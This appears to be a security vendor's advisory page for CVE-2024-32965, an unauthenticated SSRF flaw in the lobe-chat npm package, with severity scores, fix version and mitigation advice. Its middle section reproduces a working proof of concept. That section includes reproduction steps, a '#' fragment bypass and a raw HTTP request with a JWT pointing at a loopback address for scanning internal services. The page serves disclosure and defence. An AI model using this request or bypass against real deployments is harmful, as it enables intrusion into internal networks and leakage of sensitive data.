CVE-2024-32965 is a high-severity (CVSS 8.1) Server-Side Request Forgery (SSRF) vulnerability in @lobehub/chat. EPSS puts its 30-day exploitation probability at 27.9% (98th percentile). A fix is available for @lobehub/chat — see the affected versions and patch details below.
ssrf vulnerability in lobe-chat
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
Exploitation and automatability from CISA’s SSVC triage for CVE-2024-32965.
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
How urgent is this, really
CVE-2024-32965 plotted by exploitation likelihood (EPSS) against impact (CVSS). The shaded corner — EPSS 50%+ and CVSS 7.0+ — is where this CVE doesn't sit, though severity or exploitability alone can still warrant action.
Where this sits among everything scored
Of 378,156 CVEs with a current EPSS score, this one falls in the 10–50% band (highlighted). Real counts from FIRST.org, not a sample — log-scaled since the landscape is heavily right-skewed.
Real-World Exposure
How broadly this vulnerability is actually deployed: weekly install volume shows current usage, and reverse-dependency count shows how many other packages break if it stays unpatched.
@lobehub/chatnpmDescription
Summary
lobe-chat before 1.19.13 has an unauthorized ssrf vulnerability. An attacker can construct malicious requests to cause SSRF without logging in, attack intranet services, and leak sensitive information.
Details
- visit https://chat-preview.lobehub.com/
- click settings -> llm -> openai
- fill the OpenAI API Key you like
- fill the proxy address that you want to attack (e.g. a domain that resolved to a local ip addr like 127.0.0.1.xip.io) (the address will concat the path "/chat/completions" which can be bypassed with sharp like "http://172.23.0.1:8000/#")
- then lobe will echo the ssrf result
The jwt token header X-Lobe-Chat-Auth strored proxy address and OpenAI API Key, you can modify it to scan internal network in your target lobe-web.
PoC
POST /api/chat/openai HTTP/2
Host: chat-preview.lobehub.com
Cookie: LOBE_LOCALE=zh-CN; LOBE_THEME_PRIMARY_COLOR=undefined; LOBE_THEME_NEUTRAL_COLOR=undefined; _ga=GA1.1.86608329.1711346216; _ga_63LP1TV70T=GS1.1.1711346215.1.1.1711346244.0.0.0
Content-Length: 158
Sec-Ch-Ua: "Google Chrome";v="123", "Not:A-Brand";v="8", "Chromium";v="123"
X-Lobe-Chat-Auth: eyJhbGciOiJIUzI1NiJ9.eyJhY2Nlc3NDb2RlIjoiIiwiYXBpS2V5IjoiMSIsImVuZHBvaW50IjoiaHR0cDovLzEyNy4wLjAuMS54aXAuaW86MzIxMCIsImlhdCI6MTcxMTM0NjI1MCwiZXhwIjoxNzExMzQ2MzUwfQ.ZZ3v3q9T8E6llOVGOA3ep5OSVoFEawswEfKtufCcwL4
Content-Type: application/json
X-Lobe-Trace: eyJlbmFibGVkIjpmYWxzZX0=
Sec-Ch-Ua-Mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36
Sec-Ch-Ua-Platform: "Windows"
Accept: */*
Origin: https://chat-preview.lobehub.com
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://chat-preview.lobehub.com/settings/llm
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,ja;q=0.7
Connection: close
{"model":"gpt-3.5-turbo","stream":true,"frequency_penalty":0,"presence_penalty":0,"temperature":0.6,"top_p":1,"messages":[{"content":"hello","role":"user"}]}
Impact
SSRF, All users will be impacted.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 📦npm | @lobehub/chat | all versions | 1.19.13npm install @lobehub/chat@1.19.13 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for @lobehub/chat, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update @lobehub/chat to 1.19.13 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2024-32965 is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 Security's impact-aware SCA analyses which vulnerable code paths your application actually calls, so a match like CVE-2024-32965 can be triaged on real exposure rather than presence alone.
Tailored to CVE-2024-32965. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is CVE-2024-32965 in your dependencies?
O3 Security finds CVE-2024-32965 across npm dependencies, including transitive ones, and its impact-aware SCA ranks findings by whether your code actually calls the vulnerable path.